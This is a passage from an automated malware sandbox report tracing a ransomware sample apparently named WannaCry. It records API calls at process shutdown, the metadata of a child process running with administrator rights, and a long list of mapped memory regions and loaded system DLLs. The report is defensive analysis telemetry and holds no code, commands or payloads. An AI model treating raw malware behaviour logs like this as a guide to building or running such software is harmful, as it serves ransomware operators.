lpPoint=0xb6216f780*(x=786, y=513)) returned 1 [0039.670] ScreenToClient (in: hWnd=0x601e4, lpPoint=0xb6216f780 | out: lpPoint=0xb6216f780) returned 1 [0039.670] GetAsyncKeyState (vKey=1) returned 1 [0039.670] GetAsyncKeyState (vKey=2) returned 0 [0039.670] PeekMessageW (in: lpMsg=0xb6216f920, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f920) returned 0 [0039.670] PeekMessageW (in: lpMsg=0xb6216f920, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f920) returned 0 [0039.671] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0039.671] LockWindowUpdate (hWndLock=0x0) returned 0 [0039.671] DestroyWindow (hWnd=0x6002c) returned 1 [0039.671] NtdllDefWindowProc_W (hWnd=0x6002c, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0039.671] KillTimer (hWnd=0x6002c, uIDEvent=0x1) returned 1 [0039.671] Shell_NotifyIconW (dwMessage=0x2, lpData=0xb6216f610) returned 1 [0039.675] DestroyWindow (hWnd=0x601e4) returned 1 [0039.675] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.675] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0039.675] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.675] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x46, wParam=0x0, lParam=0xb6216f980) returned 0x0 [0039.676] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.676] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x47, wParam=0x0, lParam=0xb6216f980) returned 0x0 [0039.676] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.676] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x86, wParam=0x0, lParam=0x0) returned 0x1 [0039.676] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.676] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.676] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x6, wParam=0x0, lParam=0x0) returned 0x0 [0039.676] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.676] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x1c, wParam=0x0, lParam=0x7c0) returned 0x0 [0039.676] NtdllDefWindowProc_W (hWnd=0x6002c, Msg=0x1c, wParam=0x0, lParam=0x7c0) returned 0x0 [0039.676] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.676] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.676] InvalidateRect (hWnd=0x601e4, lpRect=0x0, bErase=1) returned 1 [0039.676] DestroyAcceleratorTable (hAccel=0x1701c9) returned 1 [0039.676] DeleteObject (ho=0x4f0a06dc) returned 1 [0039.676] DestroyWindow (hWnd=0xa0182) returned 1 [0039.677] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.677] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x210, wParam=0x30002, lParam=0xa0182) returned 0x0 [0039.691] DestroyWindow (hWnd=0xb001e) returned 1 [0039.691] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.691] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x210, wParam=0x40002, lParam=0xb001e) returned 0x0 [0039.692] DeleteObject (ho=0x730a059b) returned 1 [0039.692] DestroyWindow (hWnd=0xa0020) returned 1 [0039.692] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.692] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x210, wParam=0x50002, lParam=0xa0020) returned 0x0 [0039.692] DeleteObject (ho=0x4c0a06fc) returned 1 [0039.692] DestroyWindow (hWnd=0x4011c) returned 1 [0039.692] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.692] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x210, wParam=0x60002, lParam=0x4011c) returned 0x0 [0039.693] DeleteObject (ho=0x300a081a) returned 1 [0039.693] DestroyWindow (hWnd=0x701e6) returned 1 [0039.693] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.693] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x210, wParam=0x70002, lParam=0x701e6) returned 0x0 [0039.693] DeleteObject (ho=0x280a07f4) returned 1 [0039.693] DestroyWindow (hWnd=0x7018a) returned 1 [0039.693] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.693] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x210, wParam=0x80002, lParam=0x7018a) returned 0x0 [0039.701] KillTimer (hWnd=0x0, uIDEvent=0x7f82) returned 1 [0039.701] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0039.702] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.702] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0039.702] DeleteObject (ho=0x4810055e) returned 1 [0039.702] DeleteObject (ho=0x421006fd) returned 1 [0039.702] DeleteObject (ho=0x5e10056e) returned 1 [0039.703] PostQuitMessage (nExitCode=0) [0039.703] GetMessageW (in: lpMsg=0xb6216fd98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6216fd98) returned 0 [0039.707] SetCurrentDirectoryW (lpPathName="C:\\Users\\5JgHKoaOfdp\\Desktop" (normalized: "c:\\users\\5jghkoaofdp\\desktop")) returned 1 [0039.708] SystemParametersInfoW (in: uiAction=0x2001, uiParam=0x0, pvParam=0x30d40, fWinIni=0x2 | out: pvParam=0x30d40) returned 1 [0039.721] mciSendStringW (in: lpstrCommand="close all", lpstrReturnString=0x0, uReturnLength=0x0, hwndCallback=0x0 | out: lpstrReturnString=0x0) returned 0x0 [0039.721] OleUninitialize () [0039.722] DestroyCursor (hCursor=0x901c7) returned 0 [0039.723] ExitProcess (uExitCode=0x0) Process: id = "24" image_name = "wanacr~1.exe" filename = "c:\\users\\5jghko~1\\desktop\\wanacr~1.exe" page_root = "0x5455c000" os_pid = "0xa3c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "23" os_parent_pid = "0x9c0" cmd_line = "C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE" cur_dir = "C:\\Users\\5JgHKoaOfdp\\Desktop\\" os_username = "FIVAUF\\5JgHKoaOfdp" os_groups = "FIVAUF\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000c455" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1902 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1903 start_va = 0xbf608f0000 end_va = 0xbf6090ffff entry_point = 0x0 region_type = private name = "private_0x000000bf608f0000" filename = "" Region: id = 1904 start_va = 0xbf60910000 end_va = 0xbf6091efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000bf60910000" filename = "" Region: id = 1905 start_va = 0xbf60920000 end_va = 0xbf60d1ffff entry_point = 0x0 region_type = private name = "private_0x000000bf60920000" filename = "" Region: id = 1906 start_va = 0xbf60d20000 end_va = 0xbf60d23fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000bf60d20000" filename = "" Region: id = 1907 start_va = 0xbf60d30000 end_va = 0xbf60d31fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000bf60d30000" filename = "" Region: id = 1908 start_va = 0xbf60d40000 end_va = 0xbf60d41fff entry_point = 0x0 region_type = private name = "private_0x000000bf60d40000" filename = "" Region: id = 1909 start_va = 0x7ff755f50000 end_va = 0x7ff755f72fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff755f50000" filename = "" Region: id = 1910 start_va = 0x7ff755f75000 end_va = 0x7ff755f75fff entry_point = 0x0 region_type = private name = "private_0x00007ff755f75000" filename = "" Region: id = 1911 start_va = 0x7ff755f7e000 end_va = 0x7ff755f7ffff entry_point = 0x0 region_type = private name = "private_0x00007ff755f7e000" filename = "" Region: id = 1912 start_va = 0x7ff756b50000 end_va = 0x7ff756c58fff entry_point = 0x7ff756b7fa1c region_type = mapped_file name = "wanacry6.malware.exe" filename = "\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\wanacry6.malware.exe") Region: id = 1913 start_va = 0x7ffe2cb20000 end_va = 0x7ffe2ccc8fff entry_point = 0x7ffe2cb20000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1915 start_va = 0xbf60da0000 end_va = 0xbf6119ffff entry_point = 0x0 region_type = private name = "private_0x000000bf60da0000" filename = "" Region: id = 1916 start_va = 0x7ffe2a070000 end_va = 0x7ffe2a17dfff entry_point = 0x7ffe2a0722a0 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1917 start_va = 0x7ffe2a640000 end_va = 0x7ffe2a778fff entry_point = 0x7ffe2a645034 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1918 start_va = 0xbf608f0000 end_va = 0xbf608fffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000bf608f0000" filename = "" Region: id = 1919 start_va = 0xbf60900000 end_va = 0xbf60906fff entry_point = 0x0 region_type = private name = "private_0x000000bf60900000" filename = "" Region: id = 1920 start_va = 0xbf60d50000 end_va = 0xbf60d56fff entry_point = 0x0 region_type = private name = "private_0x000000bf60d50000" filename = "" Region: id = 1921 start_va = 0xbf60d60000 end_va = 0xbf60d60fff entry_point = 0x0 region_type = private name = "private_0x000000bf60d60000" filename = "" Region: id = 1922 start_va = 0xbf60d70000 end_va = 0xbf60d70fff entry_point = 0x0 region_type = private name = "private_0x000000bf60d70000" filename = "" Region: id = 1923 start_va = 0xbf611a0000 end_va = 0xbf6121dfff entry_point = 0xbf611a0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1924 start_va = 0xbf61220000 end_va = 0xbf613a7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000bf61220000" filename = "" Region: id = 1925 start_va = 0xbf613e0000 end_va = 0xbf613effff entry_point = 0x0 region_type = private name = "private_0x000000bf613e0000" filename = "" Region: id = 1926 start_va = 0xbf613f0000 end_va = 0xbf61570fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000bf613f0000" filename = "" Region: id = 1927 start_va = 0xbf61580000 end_va = 0xbf6297ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000bf61580000" filename = "" Region: id = 1928 start_va = 0x7ff755e50000 end_va = 0x7ff755f4ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff755e50000" filename = "" Region: id = 1929 start_va = 0x7ffe21e80000 end_va = 0x7ffe21e89fff entry_point = 0x7ffe21e810c0 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 1930 start_va = 0x7ffe22ac0000 end_va = 0x7ffe22ae9fff entry_point = 0x7ffe22aca768 region_type = mapped_file name = "winmmbase.dll" filename = "\\Windows\\System32\\winmmbase.dll" (normalized: "c:\\windows\\system32\\winmmbase.dll") Region: id = 1931 start_va = 0x7ffe22af0000 end_va = 0x7ffe22b0efff entry_point = 0x7ffe22af23f8 region_type = mapped_file name = "winmm.dll" filename = "\\Windows\\System32\\winmm.dll" (normalized: "c:\\windows\\system32\\winmm.dll") Region: id = 1932 start_va = 0x7ffe24b90000 end_va = 0x7ffe24baafff entry_point = 0x7ffe24b91050 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\System32\\mpr.dll" (normalized: "c:\\windows\\system32\\mpr.dll") Region: id = 1933 start_va = 0x7ffe24bb0000 end_va = 0x7ffe24e57fff entry_point = 0x7ffe24bbddc4 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 1934 start_va = 0x7ffe24e60000 end_va = 0x7ffe2509ffff entry_point = 0x7ffe24e613f0 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll") Region: id = 1935 start_va = 0x7ffe25c20000 end_va = 0x7ffe25c29fff entry_point = 0x7ffe25c210c4 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 1936 start_va = 0x7ffe25c90000 end_va = 0x7ffe25c98fff entry_point = 0x7ffe25c91080 region_type = mapped_file name = "wsock32.dll" filename = "\\Windows\\System32\\wsock32.dll" (normalized: "c:\\windows\\system32\\wsock32.dll") Region: id = 1937 start_va = 0x7ffe25f10000 end_va = 0x7ffe25f38fff entry_point = 0x7ffe25f17968 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 1938 start_va = 0x7ffe280b0000 end_va = 0x7ffe28309fff entry_point = 0x7ffe280b4740 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\WinSxS\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.9600.16384_none_62475f7becb72503\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.9600.16384_none_62475f7becb72503\\comctl32.dll") Region: id = 1939 start_va = 0x7ffe28760000 end_va = 0x7ffe28800fff entry_point = 0x7ffe287610a0 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 1940 start_va = 0x7ffe28ba0000 end_va = 0x7ffe28cc1fff entry_point = 0x7ffe28bab444 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 1941 start_va = 0x7ffe28d20000 end_va = 0x7ffe28d45fff entry_point = 0x7ffe28d2159c region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 1942 start_va = 0x7ffe29460000 end_va = 0x7ffe2947efff entry_point = 0x7ffe294612f0 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 1943 start_va = 0x7ffe29ea0000 end_va = 0x7ffe29eb3fff entry_point = 0x7ffe29ea3acc region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 1944 start_va = 0x7ffe2a360000 end_va = 0x7ffe2a3a9fff entry_point = 0x7ffe2a361258 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 1945 start_va = 0x7ffe2a3b0000 end_va = 0x7ffe2a520fff entry_point = 0x7ffe2a3d5ac0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1946 start_va = 0x7ffe2a530000 end_va = 0x7ffe2a586fff entry_point = 0x7ffe2a532500 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1947 start_va = 0x7ffe2a590000 end_va = 0x7ffe2a634fff entry_point = 0x7ffe2a591010 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1948 start_va = 0x7ffe2a780000 end_va = 0x7ffe2a836fff entry_point = 0x7ffe2a781120 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 1949 start_va = 0x7ffe2a8b0000 end_va = 0x7ffe2a956fff entry_point = 0x7ffe2a8b282c region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1950 start_va = 0x7ffe2a960000 end_va = 0x7ffe2aaa4fff entry_point = 0x7ffe2a971c58 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1951 start_va = 0x7ffe2aab0000 end_va = 0x7ffe2bebefff entry_point = 0x7ffe2aab1100 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 1952 start_va = 0x7ffe2bf40000 end_va = 0x7ffe2c116fff entry_point = 0x7ffe2bf41f60 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 1953 start_va = 0x7ffe2c1d0000 end_va = 0x7ffe2c203fff entry_point = 0x7ffe2c1d1030 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1954 start_va = 0x7ffe2c210000 end_va = 0x7ffe2c385fff entry_point = 0x7ffe2c2110b4 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 1955 start_va = 0x7ffe2c390000 end_va = 0x7ffe2c4c7fff entry_point = 0x7ffe2c391010 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 1956 start_va = 0x7ffe2c4d0000 end_va = 0x7ffe2c527fff entry_point = 0x7ffe2c4d109c region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 1957 start_va = 0x7ffe2c710000 end_va = 0x7ffe2c7a9fff entry_point = 0x7ffe2c7111a4 region_type = mapped_file name = "comdlg32.dll" filename = "\\Windows\\System32\\comdlg32.dll" (normalized: "c:\\windows\\system32\\comdlg32.dll") Region: id = 1958 start_va = 0x7ffe2c7b0000 end_va = 0x7ffe2c8e5fff entry_point = 0x7ffe2c7b1150 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1959 start_va = 0x7ffe2caa0000 end_va = 0x7ffe2caa6fff entry_point = 0x7ffe2caa1010 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Region: id = 1960 start_va = 0x7ffe2cab0000 end_va = 0x7ffe2cab8fff entry_point = 0x7ffe2cab1400 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 1961 start_va = 0x7ffe2cac0000 end_va = 0x7ffe2cb10fff entry_point = 0x7ffe2cac12c0 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 1962 start_va = 0xbf60d90000 end_va = 0xbf60d91fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000bf60d90000" filename = "" Region: id = 1963 start_va = 0xbf62a60000 end_va = 0xbf62a6ffff entry_point = 0x0 region_type = private name = "private_0x000000bf62a60000" filename = "" Region: id = 1964 start_va = 0xbf62980000 end_va = 0xbf62a39fff entry_point = 0xbf629ac768 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 1965 start_va = 0x7ffe28d70000 end_va = 0x7ffe28d79fff entry_point = 0x7ffe28d71748 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 1966 start_va = 0x7ffe29e80000 end_va = 0x7ffe29e89fff entry_point = 0x7ffe29e81010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 1967 start_va = 0x7ffe29cb0000 end_va = 0x7ffe29d0dfff entry_point = 0x7ffe29ccf6a0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 1968 start_va = 0xbf60d80000 end_va = 0xbf60d80fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000bf60d80000" filename = "" Region: id = 1969 start_va = 0xbf62a70000 end_va = 0xbf62b5ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000bf62a70000" filename = "" Region: id = 1970 start_va = 0xbf60d80000 end_va = 0xbf60d83fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000bf60d80000" filename = "" Region: id = 1971 start_va = 0xbf613b0000 end_va = 0xbf613b6fff entry_point = 0x0 region_type = private name = "private_0x000000bf613b0000" filename = "" Region: id = 1972 start_va = 0xbf62b60000 end_va = 0xbf62c5ffff entry_point = 0x0 region_type = private name = "private_0x000000bf62b60000" filename = "" Region: id = 1973 start_va = 0xbf62c60000 end_va = 0xbf62d60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000bf62c60000" filename = "" Region: id = 1974 start_va = 0xbf613c0000 end_va = 0xbf613c0fff entry_point = 0x0 region_type = private name = "private_0x000000bf613c0000" filename = "" Region: id = 1975 start_va = 0x7ffe28580000 end_va = 0x7ffe285a0fff entry_point = 0x7ffe28581100 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 1976 start_va = 0xbf62c60000 end_va = 0xbf62f34fff entry_point = 0xbf62c60000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1977 start_va = 0xbf613d0000 end_va = 0xbf613d0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000bf613d0000" filename = "" Region: id = 1978 start_va = 0xbf62980000 end_va = 0xbf62980fff entry_point = 0x0 region_type = private name = "private_0x000000bf62980000" filename = "" Region: id = 1979 start_va = 0xbf62f40000 end_va = 0xbf63431fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000bf62f40000" filename = "" Region: id = 1980 start_va = 0xbf63440000 end_va = 0xbf642affff entry_point = 0xbf63440000 region_type = mapped_file name = "staticcache.dat" filename = "\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\windows\\fonts\\staticcache.dat") Region: id = 1981 start_va = 0x7ffe26550000 end_va = 0x7ffe26564fff entry_point = 0x7ffe26551040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 1982 start_va = 0x7ffe29750000 end_va = 0x7ffe2975bfff entry_point = 0x7ffe2975145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 1983 start_va = 0x7ffe29c20000 end_va = 0x7ffe29c44fff entry_point = 0x7ffe29c21074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 1984 start_va = 0x7ffe26510000 end_va = 0x7ffe26525fff entry_point = 0x7ffe26511048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 1985 start_va = 0x7ffe26550000 end_va = 0x7ffe26564fff entry_point = 0x7ffe26551040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 1986 start_va = 0x7ffe29750000 end_va = 0x7ffe2975bfff entry_point = 0x7ffe2975145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 1987 start_va = 0x7ffe29c20000 end_va = 0x7ffe29c44fff entry_point = 0x7ffe29c21074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 1988 start_va = 0x7ffe26510000 end_va = 0x7ffe26525fff entry_point = 0x7ffe26511048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 1989 start_va = 0x7ffe26550000 end_va = 0x7ffe26564fff entry_point = 0x7ffe26551040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 1990 start_va = 0x7ffe29750000 end_va = 0x7ffe2975bfff entry_point = 0x7ffe2975145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 1991 start_va = 0x7ffe29c20000 end_va = 0x7ffe29c44fff entry_point = 0x7ffe29c21074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 1992 start_va = 0x7ffe26510000 end_va = 0x7ffe26525fff entry_point = 0x7ffe26511048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 1993 start_va = 0x7ffe26550000 end_va = 0x7ffe26564fff entry_point = 0x7ffe26551040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 1994 start_va = 0x7ffe29750000 end_va = 0x7ffe2975bfff entry_point = 0x7ffe2975145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 1995 start_va = 0x7ffe29c20000 end_va = 0x7ffe29c44fff entry_point = 0x7ffe29c21074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 1996 start_va = 0x7ffe26510000 end_va = 0x7ffe26525fff entry_point = 0x7ffe26511048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 1997 start_va = 0x7ffe26550000 end_va = 0x7ffe26564fff entry_point = 0x7ffe26551040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 1998 start_va = 0x7ffe29750000 end_va = 0x7ffe2975bfff entry_point = 0x7ffe2975145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 1999 start_va = 0x7ffe29c20000 end_va = 0x7ffe29c44fff entry_point = 0x7ffe29c21074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 2000 start_va = 0x7ffe26510000 end_va = 0x7ffe26525fff entry_point = 0x7ffe26511048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 2001 start_va = 0xbf62990000 end_va = 0xbf62990fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000bf62990000" filename = "" Region: id = 2002 start_va = 0xbf642b0000 end_va = 0xbf644c7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000bf642b0000" filename = "" Region: id = 2003 start_va = 0xbf644d0000 end_va = 